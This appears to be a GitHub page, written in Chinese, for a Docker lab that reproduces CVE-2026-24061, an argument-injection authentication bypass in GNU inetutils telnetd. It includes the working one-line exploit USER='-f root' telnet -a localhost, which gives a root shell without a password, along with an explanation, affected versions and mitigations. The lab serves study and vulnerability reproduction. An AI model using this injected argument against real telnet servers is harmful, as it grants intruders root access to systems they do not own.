0xXyc/telnet-inetutils-auth-bypass-CVE-2026-24061
GitHub: 0xXyc/telnet-inetutils-auth-bypass-CVE-2026-24061
一个演示 GNU inetutils telnetd 身份验证绕过漏洞(CVE-2026-24061)的 Docker 实验环境,展示了如何通过环境变量注入实现无密码获取 root 权限。
Stars: 0 | Forks: 0
# CVE-2026-24061:GNU inetutils-telnetd 身份验证绕过
一个用于演示 CVE-2026-24061 的 Docker 实验环境 —— 这是 GNU inetutils telnetd 中一个严重的身份验证绕过漏洞,该漏洞长达 **11 年** 未被修复。
## 漏洞详情
Telnetd 将 `USER` 环境变量直接传递给 `/usr/bin/login` 而未进行任何过滤。`login` 二进制文件具有一个 `-f` 标志,可以跳过身份验证(旨在用于预认证会话)。通过设置 `USER='-f root'`,攻击者可以欺骗 login 授予 root 访问权限而无需密码。
**受影响版本:** GNU inetutils 1.9.3 (2015年3月) 至 2.7
**CVSS 评分:** 9.8 (严重)
**修复方案:** 更新至 inetutils 2.8+
## 快速开始
```
# 构建 image
docker build -t telnetd-exploit .
# 运行 container (以 user1 身份进入 shell)
docker run --rm -it telnetd-exploit
# Exploit — 无密码获取 root
USER='-f root' telnet -a localhost
```
你将进入一个 root shell。运行 `whoami` 进行确认。
## 工作原理
```
1. Client connects with: USER='-f root' telnet -a localhost
2. telnetd receives USER environment variable: "-f root"
3. telnetd executes: /usr/bin/login -f root
4. login interprets -f as "skip authentication, user is pre-verified"
5. Attacker gets root shell — no password required
```
## 为什么存在 -f 选项
`-f` 标志是合法的 —— 它用于用户已经过身份验证的场景(例如,来自受信任的本地会话)。这个 bug 的根源在于 telnetd 在将 USER 变量传递给 login 之前没有对其进行过滤,从而允许远程攻击者注入该标志。
## 影响范围
截至 2026 年 1 月:
- 全球暴露的 Telnet 服务器约 **800,000** 台
- Shodan 索引约 **290,000** 条
- 该漏洞已在野外被积极利用 (CISA KEV 目录)
## 为什么不应该使用 Telnet
即使没有这个 bug,Telnet 也以明文形式传输所有内容 —— 包括密码。请改用 SSH。
| Protocol | Encryption | Authentication |
|----------|------------|----------------|
| Telnet | None | Plaintext |
| SSH | Yes | Key/Password |
## 文件
```
.
├── Dockerfile # Builds vulnerable Debian container
├── docker-entrypoint.sh # Starts inetd, drops to user1
└── README.md
```
## 缓解措施
1. **更新** 至 GNU inetutils 2.8+
2. **禁用 telnetd** —— 封锁端口 23
3. **使用 SSH** —— 现在是 2026 年了
## 参考资料
- [CVE-2026-24061](https://www.cvedetails.com/cve/CVE-2026-24061/)
- [原始通报](https://lists.gnu.org/archive/html/bug-inetutils/2026-01/msg00004.html)
- [CISA KEV 条目](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
## 致谢
实验室基于 [leonjza/inetutils-telnetd-auth-bypass](https://github.com/leonjza/inetutils-telnetd-auth-bypass) 构建
标签:CISA KEV, Cutter, CVE-2026-24061, CVSS 9.8, Docker 靶场, GNU inetutils, PoC, Root Shell, Telnet, 不安全配置, 免杀, 参数注入, 提权, 暴力破解, 漏洞分析, 漏洞复现, 环境变量注入, 编程工具, 网络安全, 请求拦截, 路径探测, 身份验证绕过, 远程代码执行, 远程访问, 遗留系统, 隐私保护, 高危漏洞